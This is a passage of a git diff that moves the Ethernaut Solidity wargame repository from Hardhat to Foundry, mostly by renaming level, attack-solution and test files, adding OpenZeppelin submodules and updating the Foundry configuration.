{contracts_hardhat/contracts => contracts/src}/levels/CoinFlipFactory.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/Delegation.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/DelegationFactory.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/Denial.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/DenialFactory.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/Dex.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/DexFactory.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/DexTwo.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/DexTwoFactory.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/DoubleEntryPoint.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/DoubleEntryPointFactory.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/Dummy.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/DummyFactory.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/Elevator.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/ElevatorFactory.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/Fallback.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/FallbackFactory.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/Fallout.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/FalloutFactory.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/Force.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/ForceFactory.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/GatekeeperOne.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/GatekeeperOneFactory.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/GatekeeperThree.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/GatekeeperThreeFactory.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/GatekeeperTwo.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/GatekeeperTwoFactory.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/GoodSamaritan.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/GoodSamaritanFactory.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/Instance.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/InstanceFactory.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/King.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/KingFactory.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/MagicNum.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/MagicNumFactory.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/Motorbike.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/MotorbikeFactory.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/NaughtCoin.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/NaughtCoinFactory.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/Preservation.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/PreservationFactory.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/Privacy.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/PrivacyFactory.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/PuzzleWallet.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/PuzzleWalletFactory.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/Recovery.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/RecoveryFactory.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/RecoverySimpleToken.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/Reentrance.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/ReentranceFactory.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/Shop.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/ShopFactory.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/Switch.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/SwitchFactory.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/Telephone.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/TelephoneFactory.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/Token.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/TokenFactory.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/Vault.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/VaultFactory.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/base/Level-05.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/base/Level-06.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/base/Level-08.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/base/Level.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/metrics/Statistics.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/metrics/StatisticsLevelSuperseder.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/proxy/ProxyAdmin.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/proxy/ProxyStats.sol (100%) rename {contracts_hardhat => contracts}/test/EthernautTests.js (100%) rename {contracts_hardhat => contracts}/test/levels/AlienCodex.test.js (100%) rename {contracts_hardhat => contracts}/test/levels/CoinFlip.test.js (100%) rename {contracts_hardhat => contracts}/test/levels/Delegation.test.js (100%) rename {contracts_hardhat => contracts}/test/levels/Denial.test.js (100%) rename {contracts_hardhat => contracts}/test/levels/Dex.test.js (100%) rename {contracts_hardhat => contracts}/test/levels/DexTwo.test.js (100%) rename {contracts_hardhat => contracts}/test/levels/DoubleEntryPoint.test.js (100%) rename {contracts_hardhat => contracts}/test/levels/Elevator.test.js (100%) rename {contracts_hardhat => contracts}/test/levels/Fallback.test.js (100%) rename {contracts_hardhat => contracts}/test/levels/Fallout.test.js (100%) rename {contracts_hardhat => contracts}/test/levels/Force.test.js (100%) rename {contracts_hardhat => contracts}/test/levels/Gatekeeper.test.js (100%) rename {contracts_hardhat => contracts}/test/levels/GatekeeperThree.test.js (100%) rename {contracts_hardhat => contracts}/test/levels/GoodSamaritan.test.js (100%) rename {contracts_hardhat => contracts}/test/levels/Instance.test.js (100%) rename {contracts_hardhat => contracts}/test/levels/King.test.js (100%) rename {contracts_hardhat => contracts}/test/levels/MagicNum.test.js (100%) rename {contracts_hardhat => contracts}/test/levels/Motorbike.test.js (100%) rename {contracts_hardhat => contracts}/test/levels/NaughtCoin.test.js (100%) rename {contracts_hardhat => contracts}/test/levels/Preservation.test.js (100%) rename {contracts_hardhat => contracts}/test/levels/Privacy.test.js (100%) rename {contracts_hardhat => contracts}/test/levels/PuzzleWallet.test.js (100%) rename {contracts_hardhat => contracts}/test/levels/Recovery.test.js (100%) rename {contracts_hardhat => contracts}/test/levels/Reentrance.test.js (100%) rename {contracts_hardhat => contracts}/test/levels/Shop.test.js (100%) rename {contracts_hardhat => contracts}/test/levels/Switch.test.js (100%) rename {contracts_hardhat => contracts}/test/levels/Telephone.test.js (100%) rename {contracts_hardhat => contracts}/test/levels/Token.test.js (100%) rename {contracts_hardhat => contracts}/test/levels/Vault.test.js (100%) rename {contracts_hardhat => contracts}/test/metrics/leaderboard.test.js (100%) rename {contracts_hardhat => contracts}/test/metrics/level.test.js (100%) rename {contracts_hardhat => contracts}/test/metrics/player.test.js (100%) rename {contracts_hardhat => contracts}/test/utils/TestUtils.js (100%) diff --git a/.gitmodules b/.gitmodules index c65a59659..fee8b62c3 100644 --- a/.gitmodules +++ b/.gitmodules @@ -1,3 +1,9 @@ [submodule "contracts/lib/forge-std"] path = contracts/lib/forge-std url = https://github.com/foundry-rs/forge-std +[submodule "contracts/lib/openzeppelin-contracts-06"] + path = contracts/lib/openzeppelin-contracts-06 + url = https://github.com/openzeppelin/openzeppelin-contracts +[submodule "contracts/lib/openzeppelin-contracts-08"] + path = contracts/lib/openzeppelin-contracts-08 + url = https://github.com/openzeppelin/openzeppelin-contracts diff --git a/contracts/foundry.toml b/contracts/foundry.toml index 25b918f9c..27cb0a1cd 100644 --- a/contracts/foundry.toml +++ b/contracts/foundry.toml @@ -1,6 +1,8 @@ [profile.default] -src = "src" -out = "out" -libs = ["lib"] +src = 'src' # The source directory +out = 'out' # The output directory +libs = ['lib'] # A list of library directories +optimizer = true # Enable or disable the solc optimizer +optimizer_runs = 1000 # The number of optimizer runs # See more config options https://github.com/foundry-rs/foundry/blob/master/crates/config/README.md#all-options diff --git a/contracts/lib/openzeppelin-contracts-06 b/contracts/lib/openzeppelin-contracts-06 new file mode 160000 index 000000000..8e0296096 --- /dev/null +++ b/contracts/lib/openzeppelin-contracts-06 @@ -0,0 +1 @@ +Subproject commit 8e0296096449d9b1cd7c5631e917330635244c37 diff --git a/contracts/lib/openzeppelin-contracts-08 b/contracts/lib/openzeppelin-contracts-08 new file mode 160000 index 000000000..ecd2ca2cd --- /dev/null +++ b/contracts/lib/openzeppelin-contracts-08 @@ -0,0 +1 @@ +Subproject commit ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d diff --git a/contracts/src/Counter.sol b/contracts/src/Counter.sol deleted file mode 100644 index aded7997b..000000000 --- a/contracts/src/Counter.sol +++ /dev/null @@ -1,14 +0,0 @@ -// SPDX-License-Identifier: UNLICENSED -pragma solidity ^0.8.13; - -contract Counter { - uint256 public number; - - function setNumber(uint256 newNumber) public { - number = newNumber; - } - - function increment() public { - number++; - } -} diff --git a/contracts_hardhat/contracts/Ethernaut.sol b/contracts/src/Ethernaut.sol similarity index 100% rename from contracts_hardhat/contracts/Ethernaut.sol rename to contracts/src/Ethernaut.sol diff --git a/contracts_hardhat/contracts/attacks/AlienCodexAttack.sol b/contracts/src/attacks/AlienCodexAttack.sol similarity index 100% rename from contracts_hardhat/contracts/attacks/AlienCodexAttack.sol rename to contracts/src/attacks/AlienCodexAttack.sol diff --git a/contracts_hardhat/contracts/attacks/CoinFlipAttack.sol b/contracts/src/attacks/CoinFlipAttack.sol similarity index 100% rename from contracts_hardhat/contracts/attacks/CoinFlipAttack.sol rename to contracts/src/attacks/CoinFlipAttack.sol diff --git a/contracts_hardhat/contracts/attacks/DenialAttack.sol b/contracts/src/attacks/DenialAttack.sol similarity index 100% rename from contracts_hardhat/contracts/attacks/DenialAttack.sol rename to contracts/src/attacks/DenialAttack.sol diff --git a/contracts_hardhat/contracts/attacks/DetectionBot.sol b/contracts/src/attacks/DetectionBot.sol similarity index 100% rename from contracts_hardhat/contracts/attacks/DetectionBot.sol rename to contracts/src/attacks/DetectionBot.sol diff --git a/contracts_hardhat/contracts/attacks/DexTwoAttack.sol b/contracts/src/attacks/DexTwoAttack.sol similarity index 100% rename from contracts_hardhat/contracts/attacks/DexTwoAttack.sol rename to contracts/src/attacks/DexTwoAttack.sol diff --git a/contracts_hardhat/contracts/attacks/ElevatorAttack.sol b/contracts/src/attacks/ElevatorAttack.sol similarity index 100% rename from contracts_hardhat/contracts/attacks/ElevatorAttack.sol rename to contracts/src/attacks/ElevatorAttack.sol diff --git a/contracts_hardhat/contracts/attacks/ForceAttack.sol b/contracts/src/attacks/ForceAttack.sol similarity index 100% rename from contracts_hardhat/contracts/attacks/ForceAttack.sol rename to contracts/src/attacks/ForceAttack.sol diff --git a/contracts_hardhat/contracts/attacks/GatekeeperOneAttack.sol b/contracts/src/attacks/GatekeeperOneAttack.sol similarity index 100% rename from contracts_hardhat/contracts/attacks/GatekeeperOneAttack.sol rename to contracts/src/attacks/GatekeeperOneAttack.sol diff --git a/contracts_hardhat/contracts/attacks/GatekeeperThreeAttack.sol b/contracts/src/attacks/GatekeeperThreeAttack.sol similarity index 100% rename from contracts_hardhat/contracts/attacks/GatekeeperThreeAttack.sol rename to contracts/src/attacks/GatekeeperThreeAttack.sol diff --git a/contracts_hardhat/contracts/attacks/GatekeeperTwoAttack.sol b/contracts/src/attacks/GatekeeperTwoAttack.sol similarity index 100% rename from contracts_hardhat/contracts/attacks/GatekeeperTwoAttack.sol rename to contracts/src/attacks/GatekeeperTwoAttack.sol diff --git a/contracts_hardhat/contracts/attacks/GoodSamaritanAttack.sol b/contracts/src/attacks/GoodSamaritanAttack.sol similarity index 100% rename from contracts_hardhat/contracts/attacks/GoodSamaritanAttack.sol rename to contracts/src/attacks/GoodSamaritanAttack.sol diff --git a/contracts_hardhat/contracts/attacks/KingAttack.sol b/contracts/src/attacks/KingAttack.sol similarity index 100% rename from contracts_hardhat/contracts/attacks/KingAttack.sol rename to contracts/src/attacks/KingAttack.sol diff --git a/contracts_hardhat/contracts/attacks/MagicNumBadSolver.sol b/contracts/src/attacks/MagicNumBadSolver.sol similarity index 100% rename from contracts_hardhat/contracts/attacks/MagicNumBadSolver.sol rename to contracts/src/attacks/MagicNumBadSolver.sol diff --git a/contracts_hardhat/contracts/attacks/MagicNumSolver.sol b/contracts/src/attacks/MagicNumSolver.sol similarity index 100% rename from contracts_hardhat/contracts/attacks/MagicNumSolver.sol rename to contracts/src/attacks/MagicNumSolver.sol diff --git a/contracts_hardhat/contracts/attacks/Manufactured.sol b/contracts/src/attacks/Manufactured.sol similarity index 100% rename from contracts_hardhat/contracts/attacks/Manufactured.sol rename to contracts/src/attacks/Manufactured.sol diff --git a/contracts_hardhat/contracts/attacks/MotorbikeAttack.sol b/contracts/src/attacks/MotorbikeAttack.sol similarity index 100% rename from contracts_hardhat/contracts/attacks/MotorbikeAttack.sol rename to contracts/src/attacks/MotorbikeAttack.sol diff --git a/contracts_hardhat/contracts/attacks/NaughtCoinAttack.sol b/contracts/src/attacks/NaughtCoinAttack.sol similarity index 100% rename from contracts_hardhat/contracts/attacks/NaughtCoinAttack.sol rename to contracts/src/attacks/NaughtCoinAttack.sol diff --git a/contracts_hardhat/contracts/attacks/PreservationAttack.sol b/contracts/src/attacks/PreservationAttack.sol similarity index 100% rename from contracts_hardhat/contracts/attacks/PreservationAttack.sol rename to contracts/src/attacks/PreservationAttack.sol diff --git a/contracts_hardhat/contracts/attacks/ReentranceAttack.sol b/contracts/src/attacks/ReentranceAttack.sol similarity index 100% rename from contracts_hardhat/contracts/attacks/ReentranceAttack.sol rename to contracts/src/attacks/ReentranceAttack.sol diff --git a/contracts_hardhat/contracts/attacks/ShopAttack.sol b/contracts/src/attacks/ShopAttack.sol similarity index 100% rename from contracts_hardhat/contracts/attacks/ShopAttack.sol rename to contracts/src/attacks/ShopAttack.sol diff --git a/contracts_hardhat/contracts/attacks/TelephoneAttack.sol b/contracts/src/attacks/TelephoneAttack.sol similarity index 100% rename from contracts_hardhat/contracts/attacks/TelephoneAttack.sol rename to contracts/src/attacks/TelephoneAttack.sol diff --git a/contracts_hardhat/contracts/attacks/VaultAttack.sol b/contracts/src/attacks/VaultAttack.sol similarity index 100% rename from contracts_hardhat/contracts/attacks/VaultAttack.sol rename to contracts/src/attacks/VaultAttack.sol diff --git a/contracts_hardhat/contracts/factory/LocalFactory.sol b/contracts/src/factory/LocalFactory.sol similarity index 100% rename from contracts_hardhat/contracts/factory/LocalFactory.sol rename to contracts/src/factory/LocalFactory.sol diff --git a/contracts_hardhat/contracts/helpers/Ownable-05.sol b/contracts/src/helpers/Ownable-05.sol similarity index 100% rename from contracts_hardhat/contracts/helpers/Ownable-05.sol rename to contracts/src/helpers/Ownable-05.sol diff --git a/contracts_hardhat/contracts/helpers/UpgradeableProxy-08.sol b/contracts/src/helpers/UpgradeableProxy-08.sol similarity index 100% rename from contracts_hardhat/contracts/helpers/UpgradeableProxy-08.sol rename to contracts/src/helpers/UpgradeableProxy-08.sol diff --git a/contracts_hardhat/contracts/levels/AlienCodex.sol b/contracts/src/levels/AlienCodex.sol similarity index 100% rename from contracts_hardhat/contracts/levels/AlienCodex.sol rename to contracts/src/levels/AlienCodex.sol diff --git a/contracts_hardhat/contracts/levels/AlienCodexFactory.sol b/contracts/src/levels/AlienCodexFactory.sol similarity index 100% rename from contracts_hardhat/contracts/levels/AlienCodexFactory.sol rename to contracts/src/levels/AlienCodexFactory.sol diff --git a/contracts_hardhat/contracts/levels/CoinFlip.sol b/contracts/src/levels/CoinFlip.sol similarity index 100% rename from contracts_hardhat/contracts/levels/CoinFlip.sol rename to contracts/src/levels/CoinFlip.sol diff --git a/contracts_hardhat/contracts/levels/CoinFlipFactory.sol b/contracts/src/levels/CoinFlipFactory.sol similarity index 100% rename from contracts_hardhat/contracts/levels/CoinFlipFactory.sol rename to contracts/src/levels/CoinFlipFactory.sol diff --git a/contracts_hardhat/contracts/levels/Delegation.sol b/contracts/src/levels/Delegation.sol similarity index 100% rename from contracts_hardhat/contracts/levels/Delegation.sol rename to contracts/src/levels/Delegation.sol diff --git a/contracts_hardhat/contracts/levels/DelegationFactory.sol b/contracts/src/levels/DelegationFactory.sol similarity index 100% rename from contracts_hardhat/contracts/levels/DelegationFactory.sol rename to contracts/src/levels/DelegationFactory.sol diff --git a/contracts_hardhat/contracts/levels/Denial.sol b/contracts/src/levels/Denial.sol similarity index 100% rename from contracts_hardhat/contracts/levels/Denial.sol rename to contracts/src/levels/Denial.sol diff --git a/contracts_hardhat/contracts/levels/DenialFactory.sol b/contracts/src/levels/DenialFactory.sol similarity index 100% rename from contracts_hardhat/contracts/levels/DenialFactory.sol rename to contracts/src/levels/DenialFactory.sol diff --git a/contracts_hardhat/contracts/levels/Dex.sol b/contracts/src/levels/Dex.sol similarity index 100% rename from contracts_hardhat/contracts/levels/Dex.sol rename to contracts/src/levels/Dex.sol diff --git a/contracts_hardhat/contracts/levels/DexFactory.sol b/contracts/src/levels/DexFactory.sol similarity index 100% rename from contracts_hardhat/contracts/levels/DexFactory.sol rename to contracts/src/levels/DexFactory.sol diff --git a/contracts_hardhat/contracts/levels/DexTwo.sol b/contracts/src/levels/DexTwo.sol similarity index 100% rename from contracts_hardhat/contracts/levels/DexTwo.sol rename to contracts/src/levels/DexTwo.sol diff --git a/contracts_hardhat/contracts/levels/DexTwoFactory.sol b/contracts/src/levels/DexTwoFactory.sol similarity index 100% rename from contracts_hardhat/contracts/levels/DexTwoFactory.sol rename to contracts/src/levels/DexTwoFactory.sol diff --git a/contracts_hardhat/contracts/levels/DoubleEntryPoint.sol b/contracts/src/levels/DoubleEntryPoint.sol similarity index 100% rename from contracts_hardhat/contracts/levels/DoubleEntryPoint.sol rename to contracts/src/levels/DoubleEntryPoint.sol diff --git a/contracts_hardhat/contracts/levels/DoubleEntryPointFactory.sol b/contracts/src/levels/DoubleEntryPointFactory.sol similarity index 100% rename from contracts_hardhat/contracts/levels/DoubleEntryPointFactory.sol rename to contracts/src/levels/DoubleEntryPointFactory.sol diff --git a/contracts_hardhat/contracts/levels/Dummy.sol b/contracts/src/levels/Dummy.sol similarity index 100% rename from contracts_hardhat/contracts/levels/Dummy.sol rename to contracts/src/levels/Dummy.sol diff --git a/contracts_hardhat/contracts/levels/DummyFactory.sol b/contracts/src/levels/DummyFactory.sol similarity index 100% rename from contracts_hardhat/contracts/levels/DummyFactory.sol rename to contracts/src/levels/DummyFactory.sol diff --git a/contracts_hardhat/contracts/levels/Elevator.sol b/contracts/src/levels/Elevator.sol similarity index 100% rename from contracts_hardhat/contracts/levels/Elevator.sol rename to contracts/src/levels/Elevator.sol diff --git a/contracts_hardhat/contracts/levels/ElevatorFactory.sol b/contracts/src/levels/ElevatorFactory.sol similarity index 100% rename from contracts_hardhat/contracts/levels/ElevatorFactory.sol rename to contracts/src/levels/ElevatorFactory.sol diff --git a/contracts_hardhat/contracts/levels/Fallback.sol b/contracts/src/levels/Fallback.sol similarity index 100% rename from contracts_hardhat/contracts/levels/Fallback.sol rename to contracts/src/levels/Fallback.sol diff --git a/contracts_hardhat/contracts/levels/FallbackFactory.sol b/contracts/src/levels/FallbackFactory.sol similarity index 100% rename from contracts_hardhat/contracts/levels/FallbackFactory.sol rename to contracts/src/levels/FallbackFactory.sol diff --git a/contracts_hardhat/contracts/levels/Fallout.sol b/contracts/src/levels/Fallout.sol similarity index 100% rename from contracts_hardhat/contracts/levels/Fallout.sol rename to contracts/src/levels/Fallout.sol diff --git a/contracts_hardhat/contracts/levels/FalloutFactory.sol b/contracts/src/levels/FalloutFactory.sol similarity index 100% rename from contracts_hardhat/contracts/levels/FalloutFactory.sol rename to contracts/src/levels/FalloutFactory.sol diff --git a/contracts_hardhat/contracts/levels/Force.sol b/contracts/src/levels/Force.sol similarity index 100% rename from contracts_hardhat/contracts/levels/Force.sol rename to contracts/src/levels/Force.sol diff --git a/contracts_hardhat/contracts/levels/ForceFactory.sol b/contracts/src/levels/ForceFactory.sol similarity index 100% rename from contracts_hardhat/contracts/levels/ForceFactory.sol rename to contracts/src/levels/ForceFactory.sol diff --git a/contracts_hardhat/contracts/levels/GatekeeperOne.sol b/contracts/src/levels/GatekeeperOne.sol similarity index 100% rename from contracts_hardhat/contracts/levels/GatekeeperOne.sol rename to contracts/src/levels/GatekeeperOne.sol diff --git a/contracts_hardhat/contracts/levels/GatekeeperOneFactory.sol b/contracts/src/levels/GatekeeperOneFactory.sol similarity index 100% rename from contracts_hardhat/contracts/levels/GatekeeperOneFactory.sol rename to contracts/src/levels/GatekeeperOneFactory.sol diff --git a/contracts_hardhat/contracts/levels/GatekeeperThree.sol b/contracts/src/levels/GatekeeperThree.sol similarity index 100% rename from contracts_hardhat/contracts/levels/GatekeeperThree.sol rename to contracts/src/levels/GatekeeperThree.sol diff --git a/contracts_hardhat/contracts/levels/GatekeeperThreeFactory.sol b/contracts/src/levels/GatekeeperThreeFactory.sol similarity index 100% rename from contracts_hardhat/contracts/levels/GatekeeperThreeFactory.sol rename to contracts/src/levels/GatekeeperThreeFactory.sol diff --git a/contracts_hardhat/contracts/levels/GatekeeperTwo.sol b/contracts/src/levels/GatekeeperTwo.sol similarity index 100% rename from contracts_hardhat/contracts/levels/GatekeeperTwo.sol rename to contracts/src/levels/GatekeeperTwo.sol diff --git a/contracts_hardhat/contracts/levels/GatekeeperTwoFactory.sol b/contracts/src/levels/GatekeeperTwoFactory.sol similarity index 100% rename from contracts_hardhat/contracts/levels/GatekeeperTwoFactory.sol rename to contracts/src/levels/GatekeeperTwoFactory.sol diff --git a/contracts_hardhat/contracts/levels/GoodSamaritan.sol b/contracts/src/levels/GoodSamaritan.sol similarity index 100% rename from contracts_hardhat/contracts/levels/GoodSamaritan.sol rename to contracts/src/levels/GoodSamaritan.sol diff --git a/contracts_hardhat/contracts/levels/GoodSamaritanFactory.sol b/contracts/src/levels/GoodSamaritanFactory.sol similarity index 100% rename from contracts_hardhat/contracts/levels/GoodSamaritanFactory.sol rename to contracts/src/levels/GoodSamaritanFactory.sol diff --git a/contracts_hardhat/contracts/levels/Instance.sol b/contracts/src/levels/Instance.sol similarity index 100% rename from contracts_hardhat/contracts/levels/Instance.sol rename to contracts/src/levels/Instance.sol diff --git a/contracts_hardhat/contracts/levels/InstanceFactory.sol b/contracts/src/levels/InstanceFactory.sol similarity index 100% rename from contracts_hardhat/contracts/levels/InstanceFactory.sol rename to contracts/src/levels/InstanceFactory.sol diff --git a/contracts_hardhat/contracts/levels/King.sol b/contracts/src/levels/King.sol similarity index 100% rename from contracts_hardhat/contracts/levels/King.sol rename to contracts/src/levels/King.sol diff --git a/contracts_hardhat/contracts/levels/KingFactory.sol b/contracts/src/levels/KingFactory.sol similarity index 100% rename from contracts_hardhat/contracts/levels/KingFactory.sol rename to contracts/src/levels/KingFactory.sol diff --git a/contracts_hardhat/contracts/levels/MagicNum.sol b/contracts/src/levels/MagicNum.sol similarity index 100% rename from contracts_hardhat/contracts/levels/MagicNum.sol rename to contracts/src/levels/MagicNum.sol diff --git a/contracts_hardhat/contracts/levels/MagicNumFactory.sol b/contracts/src/levels/MagicNumFactory.sol similarity index 100% rename from contracts_hardhat/contracts/levels/MagicNumFactory.sol rename to contracts/src/levels/MagicNumFactory.sol diff --git a/contracts_hardhat/contracts/levels/Motorbike.sol b/contracts/src/levels/Motorbike.sol similarity index 100% rename from contracts_hardhat/contracts/levels/Motorbike.sol rename to contracts/src/levels/Motorbike.sol diff --git a/contracts_hardhat/contracts/levels/MotorbikeFactory.sol b/contracts/src/levels/MotorbikeFactory.sol similarity index 100% rename from contracts_hardhat/contracts/levels/MotorbikeFactory.sol rename to contracts/src/levels/MotorbikeFactory.sol diff --git a/contracts_hardhat/contracts/levels/NaughtCoin.sol b/contracts/src/levels/NaughtCoin.sol similarity index 100% rename from contracts_hardhat/contracts/levels/NaughtCoin.sol rename to contracts/src/levels/NaughtCoin.sol diff --git a/contracts_hardhat/contracts/levels/NaughtCoinFactory.sol b/contracts/src/levels/NaughtCoinFactory.sol similarity index 100% rename from contracts_hardhat/contracts/levels/NaughtCoinFactory.sol rename to contracts/src/levels/NaughtCoinFactory.sol diff --git a/contracts_hardhat/contracts/levels/Preservation.sol b/contracts/src/levels/Preservation.sol similarity index 100% rename from contracts_hardhat/contracts/levels/Preservation.sol rename to contracts/src/levels/Preservation.sol diff --git a/contracts_hardhat/contracts/levels/PreservationFactory.sol b/contracts/src/levels/PreservationFactory.sol similarity index 100% rename from contracts_hardhat/contracts/levels/PreservationFactory.sol rename to contracts/src/levels/PreservationFactory.sol diff --git a/contracts_hardhat/contracts/levels/Privacy.sol b/contracts/src/levels/Privacy.sol similarity index 100% rename from contracts_hardhat/contracts/levels/Privacy.sol rename to contracts/src/levels/Privacy.sol diff --git a/contracts_hardhat/contracts/levels/PrivacyFactory.sol b/contracts/src/levels/PrivacyFactory.sol similarity index 100% rename from contracts_hardhat/contracts/levels/PrivacyFactory.sol rename to contracts/src/levels/PrivacyFactory.sol diff --git a/contracts_hardhat/contracts/levels/PuzzleWallet.sol b/contracts/src/levels/PuzzleWallet.sol similarity index 100% rename from contracts_hardhat/contracts/levels/PuzzleWallet.sol rename to contracts/src/levels/PuzzleWallet.sol diff --git a/contracts_hardhat/contracts/levels/PuzzleWalletFactory.sol b/contracts/src/levels/PuzzleWalletFactory.sol similarity index 100% rename from contracts_hardhat/contracts/levels/PuzzleWalletFactory.sol rename to contracts/src/levels/PuzzleWalletFactory.sol diff --git a/contracts_hardhat/contracts/levels/Recovery.sol b/contracts/src/levels/Recovery.sol similarity index 100% rename from contracts_hardhat/contracts/levels/Recovery.sol rename to contracts/src/levels/Recovery.sol diff --git a/contracts_hardhat/contracts/levels/RecoveryFactory.sol b/contracts/src/levels/RecoveryFactory.sol similarity index 100% rename from contracts_hardhat/contracts/levels/RecoveryFactory.sol rename to contracts/src/levels/RecoveryFactory.sol diff --git a/contracts_hardhat/contracts/levels/RecoverySimpleToken.sol b/contracts/src/levels/RecoverySimpleToken.sol similarity index 100% rename from contracts_hardhat/contracts/levels/RecoverySimpleToken.sol rename to contracts/src/levels/RecoverySimpleToken.sol diff --git a/contracts_hardhat/contracts/levels/Reentrance.sol b/contracts/src/levels/Reentrance.sol similarity index 100% rename from contracts_hardhat/contracts/levels/Reentrance.sol rename to contracts/src/levels/Reentrance.sol diff --git a/contracts_hardhat/contracts/levels/ReentranceFactory.sol b/contracts/src/levels/ReentranceFactory.sol similarity index 100% rename from contracts_hardhat/contracts/levels/ReentranceFactory.sol rename to contracts/src/levels/ReentranceFactory.sol diff --git a/contracts_hardhat/contracts/levels/Shop.sol b/contracts/src/levels/Shop.sol similarity index 100% rename from contracts_hardhat/contracts/levels/Shop.sol rename to contracts/src/levels/Shop.sol diff --git a/contracts_hardhat/contracts/levels/ShopFactory.sol b/contracts/src/levels/ShopFactory.sol similarity index 100% rename from contracts_hardhat/contracts/levels/ShopFactory.sol rename to contracts/src/levels/ShopFactory.sol diff --git a/contracts_hardhat/contracts/levels/Switch.sol b/contracts/src/levels/Switch.sol similarity index 100% rename from contracts_hardhat/contracts/levels/Switch.sol rename to contracts/src/levels/Switch.sol diff --git a/contracts_hardhat/contracts/levels/SwitchFactory.sol b/contracts/src/levels/SwitchFactory.sol similarity index 100% rename from contracts_hardhat/contracts/levels/SwitchFactory.sol rename to contracts/src/levels/SwitchFactory.sol diff --git a/contracts_hardhat/contracts/levels/Telephone.sol b/contracts/src/levels/Telephone.sol similarity index 100% rename from contracts_hardhat/contracts/levels/Telephone.sol rename to contracts/src/levels/Telephone.sol diff --git a/contracts_hardhat/contracts/levels/TelephoneFactory.sol b/contracts/src/levels/TelephoneFactory.sol similarity index 100% rename from contracts_hardhat/contracts/levels/TelephoneFactory.sol rename to contracts/src/levels/TelephoneFactory.sol diff --git a/contracts_hardhat/contracts/levels/Token.sol b/contracts/src/levels/Token.sol similarity index 100% rename from contracts_hardhat/contracts/levels/Token.sol rename to contracts/src/levels/Token.sol diff --git a/contracts_hardhat/contracts/levels/TokenFactory.sol b/contracts/src/levels/TokenFactory.sol similarity index 100% rename from contracts_hardhat/contracts/levels/TokenFactory.sol rename to contracts/src/levels/TokenFactory.sol diff --git a/contracts_hardhat/contracts/levels/Vault.sol b/contracts/src/levels/Vault.sol similarity index 100% rename from contracts_hardhat/contracts/levels/Vault.sol rename to contracts/src/levels/Vault.sol diff --git a/contracts_hardhat/contracts/levels/VaultFactory.sol b/contracts/src/levels/VaultFactory.sol similarity index 100% rename from contracts_hardhat/contracts/levels/VaultFactory.sol rename to contracts/src/levels/VaultFactory.sol diff --git a/contracts_hardhat/contracts/levels/base/Level-05.sol b/contracts/src/levels/base/Level-05.sol similarity index 100% rename from contracts_hardhat/contracts/levels/base/Level-05.sol rename to contracts/src/levels/base/Level-05.sol diff --git a/contracts_hardhat/contracts/levels/base/Level-06.sol b/contracts/src/levels/base/Level-06.sol similarity index 100% rename from 